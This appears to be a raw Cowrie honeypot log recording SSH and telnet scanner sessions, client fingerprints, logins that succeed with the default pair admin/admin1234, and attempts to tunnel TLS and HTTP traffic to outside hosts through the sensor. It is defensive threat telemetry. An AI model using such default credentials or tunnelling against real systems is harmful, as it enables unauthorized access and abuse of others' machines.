{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:12.583627Z","src_ip":"123.27.168.40","session":"e521f9027145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.04783368110657,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:16.727212Z","src_ip":"128.199.8.54","session":"07aa6c75ee0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.005449056625366,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:21.819095Z","src_ip":"69.6.249.0","session":"74c237670b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":58417,"dst_ip":"10.17.0.5","dst_port":22,"session":"c51b14345c5c","protocol":"ssh","message":"New connection: 23.175.50.51:58417 (10.17.0.5:22) [session: c51b14345c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:24.173165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:24.573808Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:24.578381Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:27.891423Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:34.871078Z","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:34.935838Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\xef^\\xc5<$\\xa1\\x83\\x82z\\xf5\\xf4\\x10\\x0bs\\xd6u\\xc0|qO\\xd9em\\xb4\\r\\xab\\xae9\\xab\\xb6\\xf5 WR\\x1cn\\xf5I\\xaf\\x96\\xee\\t\\x7f\\xd8!@<\\xab\\x10\\x97+\\xe1\\xcae#-a\\x11\\xc1\\xf3!5\\x16\\xe3\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 >,\\xc0\\x00x@\\xf4#?\\xe5\\xab\\xb3\\x9b\\x04@\\xa51\\x1fJVw\\xb0\\xae\\x0e3\\xc3\\xa6Nh\\x82M\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\xef^\\xc5<$\\xa1\\x83\\x82z\\xf5\\xf4\\x10\\x0bs\\xd6u\\xc0|qO\\xd9em\\xb4\\r\\xab\\xae9\\xab\\xb6\\xf5 WR\\x1cn\\xf5I\\xaf\\x96\\xee\\t\\x7f\\xd8!@<\\xab\\x10\\x97+\\xe1\\xcae#-a\\x11\\xc1\\xf3!5\\x16\\xe3\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 >,\\xc0\\x00x@\\xf4#?\\xe5\\xab\\xb3\\x9b\\x04@\\xa51\\x1fJVw\\xb0\\xae\\x0e3\\xc3\\xa6Nh\\x82M\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:34.939653Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:35.051281Z","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:35.272694Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8A\\x9a\\xf3\\x1bpr\\xd3\\x92Z\\xc7\\x04\\xe7\\x00 \\xd3\\n\\xe1@ha\\xf8\\xc2\\xca\\xf4C\\x9f-n7Tu \\xd8)\\x1d\\x0c\\x06x\\x1f\\x9a\\x068\\x96\\xb2\\x85\\xd4\\x8a\\xc0\\xb6\\x16\\xe8`?Y\\xde|\\xb4\\xebam85\\x8di\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 k\\xde\\xf9 \\xa2\\x0c\\x89k\\xd4I+j\\xffj\\xc5\\xa7\\'\\xec\\xf2qlM\\x90B\\xe8\\xfcp\\xe0\\x1e&Y\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8A\\x9a\\xf3\\x1bpr\\xd3\\x92Z\\xc7\\x04\\xe7\\x00 \\xd3\\n\\xe1@ha\\xf8\\xc2\\xca\\xf4C\\x9f-n7Tu \\xd8)\\x1d\\x0c\\x06x\\x1f\\x9a\\x068\\x96\\xb2\\x85\\xd4\\x8a\\xc0\\xb6\\x16\\xe8`?Y\\xde|\\xb4\\xebam85\\x8di\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 k\\xde\\xf9 \\xa2\\x0c\\x89k\\xd4I+j\\xffj\\xc5\\xa7\\'\\xec\\xf2qlM\\x90B\\xe8\\xfcp\\xe0\\x1e&Y\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:35.275280Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64178,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fa8f7f54dc1","protocol":"ssh","message":"New connection: 113.164.152.20:64178 (10.17.0.5:22) [session: 8fa8f7f54dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:38.894855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:38.899103Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:39.192191Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:40.422271Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":58996,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3747d9f74e3","protocol":"ssh","message":"New connection: 23.175.50.51:58996 (10.17.0.5:22) [session: b3747d9f74e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:40.612458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:40.618291Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:40.847534Z","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:41.016476Z","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:41.032002Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:41.319004Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
